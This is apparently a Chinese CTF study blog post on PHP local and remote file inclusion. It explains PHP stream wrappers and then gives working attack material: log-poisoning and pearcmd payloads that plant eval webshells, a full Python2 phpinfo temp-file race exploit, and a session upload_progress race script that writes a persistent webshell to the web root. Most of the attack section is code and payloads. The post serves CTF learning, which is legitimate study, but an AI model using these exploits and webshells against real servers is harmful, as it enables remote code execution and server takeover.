Web_3_PHP文件包含
Charmersix

第一节 php文件包含

0x1文件包含的本质

指定一个文件,用函数作为接口调用。

0x2文件包含常见函数

include、require、include_once、require_once

  • include 仅仅是包含,包含不到不影响后续执行
  • require 必须包含成功、包含不到就报错不再执行
  • include_once 包含一次,再次包含同样文件不再重复包含
  • require_once 同上包含一次

0x3伪协议

计算机中的协议

image-20220907204814672

php中的伪协议

file协议

Linux php中可以自己计算目录,可以存在虚拟目录,可以../很多

HTTP协议

ftp协议

php协议

php://input

直接post发包即可

php://filter

是一种原封装器

参数

名称描述
resource=<要过滤的数据流>这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表>该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表>该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表>任何没有以 read=write= 作前缀 的筛选器列表会视情况应用于读或写链。

简言之,resource是数据来源,write写入,read读取

base64绕过

?file=php://filter/write=convert.base64-decode/resource=1.php

这里我们还需要post发包写入的内容,而且要base64编码后

rot13绕过

?file=php://filter/write=string.rot13/resource=1.php

这里同样需要post发包写入的内容,而且要rot13编码后,这里还是推荐CyberChef

data协议

可以直接执行里边代码内容

data://

我们可以在官方文档中看到它的语法

http://www.faqs.org/rfcs/rfc2397.html

?file=data:,<?php phpinfo(); ?>

第二节 文件包含高级利用

文件包含可控点

  • 文件名可控
  • 后缀可控

文件名可控

意味着可以控制协议头

这时候优先使用data协议

后缀可控

可以考虑路径跳转,参考file协议

直接疯狂../../../../之前是提到过Linux对于../能自己计算

nginx日志包含

nginx 的默认路径 /var/log/nginx/access.log

这里我们要使用user-agent,将恶意代码写到里边,如果是其他方式包含,代码将会被编码导致无法执行

image-20220909192728299

然后再读取/var/log/nginx/access.log执行日志里的恶意代码

常见出错地方

  • 包含的文件路径错误/var/log/nginx/access.log
  • 写入的UA语法错误<?php eval($_POST[1]); ?>
  • 转义错误file_put_contents("1.php","<?php eval($_POST[1]);?>");

当php语法中在双引号中的符号需要转义,否则判断为空

1
"<?php eval($_POST[1]);?>" = <?php eval();?>

这时候我们可以把$符号进行\转义

1
<?php eval(\$_POST[1]);?>

符号没有进行转义,无法正常执行

如果发生语法错误,污染了题目环境,只能重开容器

临时文件包含

phpinfo(); 竞争上传,这里有个python2的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
#!/usr/bin/python 
import sys
import threading
import socket

def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))
s2.connect((host, port))

s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =&gt; ")
fn = d[i+17:i+31]
except ValueError:
return None

s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()

if d.find(tag) != -1:
return fn

counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args

def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1

try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()

except socket.error:
return


def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)

d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =&gt; ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")

print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256

def main():

print "LFI With PHPInfo()"
print "-=" * 30

if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)

try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)

port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)

poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)

print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()

maxattempts = 1000
e = threading.Event()
l = threading.Lock()

print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()

tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()

print "Shuttin' down..."
for t in tp:
t.join()

if __name__=="__main__":
main()

session文件包含(upload_progress文件上传)

有包含点,且PHP_SESSION_UPLOAD_PROGRESS不变时,可以使用此脚本

session_upload_progress最初是php为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在session中,此时即使用户没有初始化session,php也会自动初始化session。而且,默认情况下session.uoload_progress.enabled是为on的,也就是说这个特性默认开启。所以,我们可以通过这个特性来在目标主机上初始化session。

从上面可以看到,session中一部分数据(session.uoload_progress.enabled)是用户自己控制的。那么我们只要在文件上传的时候,同时post一个恶意字段PHP_SESSION_UPLOAD_PROGRESS,目标服务器的PHP就会自动启用session,session文件将会自动创建。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import threading
session=requests.session()
sess='ctfshow'
url="http://6eb9a422-f96b-4a44-a67d-0d9f9d3e716f.challenges.ctfer.com:8080/" #靶场地址


data1={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php echo "success";file_put_contents("/var/www/html/1.php","<?php eval(\\$_POST[1]);?>");?>'
}
file={
'file':'ctfshow'
}
cookies={
'PHPSESSID': sess
}

def write():
while True:
r = session.post(url,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.get(url+"?file=../../../../../../../tmp/sess_ctfshow")
if 'success' in r.text:
print("shell 地址为:"+url+"1.php")
exit()

threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()

pear文件包含

pear模块下有很多php文件,可以利用其中的某个php,分析发现/usr/local/lib/php/PEAR/Command/Install.php存在可利用点

/usr/local/lib/php/pearcmd.php存在可利用点

image-20220909214644657

argv注册功能开启了就可以使用这种姿势

可以通过配置文件写入一句话木马

1
?file=/usr/local/lib/php/pearcmd.php&aaaa+config-create+/var/www/html/<?=`$_POST[1]`;?>+1.php

其中aaa可以将数据弹出argv,三个➕,四个元素

远程文件包含

这里是结合了上边的日志包含,或者可以理解成远程日志包含

这里由于题目过滤了符号. 所以我们可以用http://www.ab173.com/net/ip2int.php 将IP转换成纯数字

image-20220909220415037

 Comments